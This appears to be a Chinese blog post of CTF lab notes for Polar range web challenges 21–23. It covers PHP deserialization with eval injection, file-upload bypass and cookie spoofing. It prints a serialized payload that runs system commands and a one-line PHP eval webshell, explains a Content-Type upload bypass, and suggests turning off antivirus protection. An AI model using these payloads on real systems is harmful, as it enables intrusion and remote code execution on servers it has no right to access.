当前位置: 首页 > news >正文

【WEB】Polar靶场 21-25题 详细笔记

二十一.php very nice

php又是你 ,但是经过这么多次折磨后我感觉我已经有一点抗性了

老规矩,先看知识点

PHP 序列化

是将 PHP 变量(如对象、数组)转换为字符串的过程,便于存储或传输。反序列化则是将字符串还原为原始变量。这在缓存、会话管理、RPC(远程过程调用)等场景中广泛应用。

PHP 序列化的核心函数

1. serialize(): 

将变量转换为可存储或传输的字符串格式。

2. unserialize():

将序列化字符串还原为原始变量。
可能存在的漏洞:

反序列化漏洞

__destruct() 函数

是 PHP 的一个魔术方法(特殊函数),当对象被销毁时会自动调用。具体来说,这个方法在以下几种情况下会被触发:

  1. 脚本执行完毕时,所有对象都会被销毁。
  2. 使用 unset() 函数手动销毁对象。
  3. 对象被赋值为其他值,原对象的引用被覆盖。

eval()函数

eval() 是 PHP 中的内置函数,能将字符串作为 PHP 代码执行。

可能存在的漏洞:

代码注入漏洞

如果eval()的参数来自用户输入且未经严格过滤,攻击者可以注入任意PHP代码

解题思路:

因为有__destruct()函数所以可以将原$sys覆盖掉,给$sys赋一个新的值,利用eval()函数的注入漏洞输出flag

class Example
{public $sys = "system('tac f*');";
}

为什么这道题cat用不了,而是用tac?

可能原因:符号被过滤,某些服务器环境可能会禁用或监控常见的命令如 cat,但较少限制 tac(因为 tac 不如 cat 常用)。

tac 命令

是 cat 的反向命令,功能是 倒序输出文件内容(先显示最后一行)。

因为unserialize()函数会将GET参数a反序列化,所以提前将参数a的内容序列化

PHP 在线编辑器

<?php
class Example
{public $sys = "system('tac f*');";
}// 创建对象
$obj = new Example();// 序列化对象
$serialized = serialize($obj);// 输出序列化结果
echo $serialized;
?>
O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

接着通过GET请求传递参数a,得到flag

flag{202cb962ac59075b964b07152d234b70}

二十二.ezupload

这题主要利用的是文件上传漏洞

写个一句话木马,写完后保存,把文件后缀改为php

<?php @eval($_POST['a']);?>

或者点击文件,选择另存为,文件名后缀改为.php,保存类型改为 所有文件

注意:这个文件可能会被当为病毒被自动删除,所以先要暂时把病毒防护关闭

实时保护关了

把刚才的php文件上传,显示“抱歉,我们只允许上传 GIF 图片”

打开 Burpsuite,把Content-Type: application/octet-stream改成

Content-Type: image/gif  然后点击发送,就上传成功了

接下来连接蚁剑,上传的文件放在了/uploads目录

/var/www/flag.php找到了flag

flag{ffffffffllllaaggg_!!!}

二十三.cookie欺骗

这题还是很简单的

Cookie 欺骗(Cookie Spoofing)详解

Cookie 欺骗是一种常见的网络攻击手段,攻击者通过伪造、修改或窃取 HTTP Cookie,以达到冒充合法用户身份、获取敏感信息或绕过身份验证的目的。Cookie 作为网站存储在用户浏览器中的小型数据文件,通常包含用户会话 ID、登录状态、偏好设置等关键信息,一旦被恶意利用,可能导致严重的安全风险。

Cookie 的核心功能:用于维持用户与网站的会话状态(如登录后保持身份)、记录用户行为(如购物车内容)、存储用户偏好(如语言设置)等。

Cookie 修改

直接编辑本地 Cookie:用户浏览器中的 Cookie 可通过开发者工具(如 Chrome 的 Application 面板)直接修改,攻击者若能接触用户设备,可篡改 Cookie 值(如修改用户 ID 为管理员 ID)。

 

http://www.lryc.cn/news/583641.html

相关文章:

  • 从0开始学习R语言--Day42--LM检验
  • 异地组网
  • 数据分析框架和方法
  • Mac电脑,休眠以后,发现电量一直在减少,而且一个晚上,基本上是没了,开机都需要插电源的简单处理
  • 卫星通信终端天线的5种对星模式之二:功率检测型载波跟踪
  • 【PyTorch】PyTorch中数据准备工作(AI生成)
  • 深度学习——损失函数
  • Hexo + Butterfly + Vercel 完整个人Blog部署指南
  • Flask3.1打造极简CMS系统
  • 自动化Trae Apollo参数解释的批量获取
  • 股权结构解析
  • SpringBoot集成文件 - 大文件的上传(异步,分片,断点续传和秒传)
  • 专题一_双指针_查找总价格为目标值的两个商品
  • 拼多多正在错失即时零售?
  • ECR仓库CloudFormation模板完整指南
  • 【每日算法】专题六_模拟
  • WPF学习笔记(27)科学计算器
  • 1、专栏介绍以及目录
  • 周立功汽车软件ZXDoc深度解析:新能源汽车开发新基建的破局之道
  • eggNOG数据库注释文件
  • 以太网基础④IP 协议介绍与 IP 校验和算法实现
  • 【Linux网络编程】Socket - TCP
  • Java-----韩顺平单例设计模式学习笔记
  • swiglu 激活函数学习笔记
  • Java垃圾收集机制Test1
  • [Python] 区分方法 函数
  • 深度解析:将SymPy符号表达式转化为高效NumPy计算函数的通用解决方案
  • Git系列--3.分支管理
  • Python管理咨询数据可视化实战:收入分布与顾问利用率双轴对比图表生成脚本
  • 零基础上手 Amazon DynamoDB:NoSQL 数据库服务的核心概念与快速搭建指南